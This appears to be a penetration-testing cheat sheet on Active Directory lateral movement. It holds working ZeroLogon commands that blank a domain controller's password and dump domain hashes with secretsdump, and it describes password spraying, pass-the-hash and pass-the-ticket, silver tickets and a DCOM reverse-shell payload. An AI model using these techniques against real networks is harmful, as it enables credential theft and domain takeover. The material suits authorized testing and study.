AD Lateral Movement
Useful Powershell one-liners.
Useful lateral movement techniques.
Abusing Kerberos using Impacket.
Kerberos attack cheatsheet.
ZeroLogon Vulnerability
Try Zerologon (requires reset after use as account pw is set to empty)
Affects ALL Windows Server versions, but we want to target DCs (high-value).
# set computer account password to an empty string.
$ python3 set_empty_pw.py [dc_computername] [dc_ip]
$ python3 set_empty_pw.py xor-dc01 10.11.1.120
# dump domain creds
$ python secretsdump.py -hashes :[empty_password_hash] '[domain]/[dc_computername]$@[dc_ip]'
$ python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'xor/[email protected]'Password Spraying
Dumped plaintext cred or cracked hash for your user?
However, no creds/hashes for other users/SPN to use for lateral movement?
Does the plaintext cred follow some pattern? e.g.
IAmUser01, IAmUser02 ...Use
spray-passwords.ps1script: https://github.com/ZilentJack/Spray-Passwords/blob/master/Spray-Passwords.ps1
If there are too many users/passwords to manually each cred against RDP, use Hydra to bruteforce RDP:
As not all users are part of the "NT AUTHORITY\REMOTE INTERACTIVE LOGON" group.
Plaintext Credentials
Service Account Attacks
If we know the
serviceprincipalnamevalue from prior AD enum, we can target the SPN by by requesting a service ticket for it from the Domain Controller and access resources from the service with our own ticket.
Crack SPN hashes
Pass the Hash
(NTLM based AuthN)
Requires user/service account to have local admin rights on target, as connection is made using the
Admin$share.Requires SMB connection through the firewall
Requires Windows File and Print Sharing feature to be enabled.
Overpass the Hash
(NTLM Hash -> Kerberos-based AuthN)
Attack path: obtain a user's NTLM hash -> start new cmd/ps process as user -> request Kerberos TGT as user -> code exec on any machine where the user has permissions.
Requirement: user/service account to have local admin on target machine.
Useful when Kerberos is the only authentication mechanism allowed in a target (NTLM authN disabled).
psexec.exerequires local admin rights as it accesses admin$ share.NOTE: We can only use the TGT on the machine it was created for.
OPTH via. COMPROMISED HOST
OPTH via. KALI
Pass the Ticket
(Kerberos-based AuthN)
Pass-the-Ticket takes advantage of the TGS by exporting service tickets, injecting them into memory (on target) or caching as environment variable (on Kali) and then authenticating with the injected/cached ticket via. Kerberos-based authN as opposed to NTLM-based authN.
This attack does not require the service/user to have local admin rights on the target.
PTT via. COMPROMISED HOST (exporting -> inject into memory -> psexec.exe)
PTT via. KALI (exporting -> cache as env var -> psexec.py/smbexec.py/wmiexec.py)
Silver Ticket
Silver Tickets enable an attacker to create forged service tickets (TGS tickets)
In this attack, user/group permissions in a Service Ticket are blindly trusted by the application on a target server running in the context of the service account. We forge our own Service Ticket (Silver Ticket) to access the resource (e.g. IIS app, MSSQL app) with any permissions we want. If the SPN/service account is used across multiple servers, we can leverage our Silver Ticket against all.
Walkthrough of PTT via. compromised MSSQLSvc hash: https://stealthbits.com/blog/impersonating-service-accounts-with-silver-tickets/
SILVER TICKET via. COMPROMISED HOST
SILVER TICKET via. KALI
Distributed Component Object Model (DCOM)
DCOM allows a computer to run programs over the network on a different computer e.g. Excel/PowerPoint/Outlook
Requires RPC port 135 and local admin access to call the DCOM Service Control Manager - the API.
The
runmethod within DCOM allows us to execute a VBA macro remotely.
DCOM - create payload and VBA macro
From Kali, create rshell payload:
(Python3) split payload into smaller chunks starting with "powershell.exe -nop -w hidden -e"
DCOM - Copy file to remote and execute
Last updated
Was this helpful?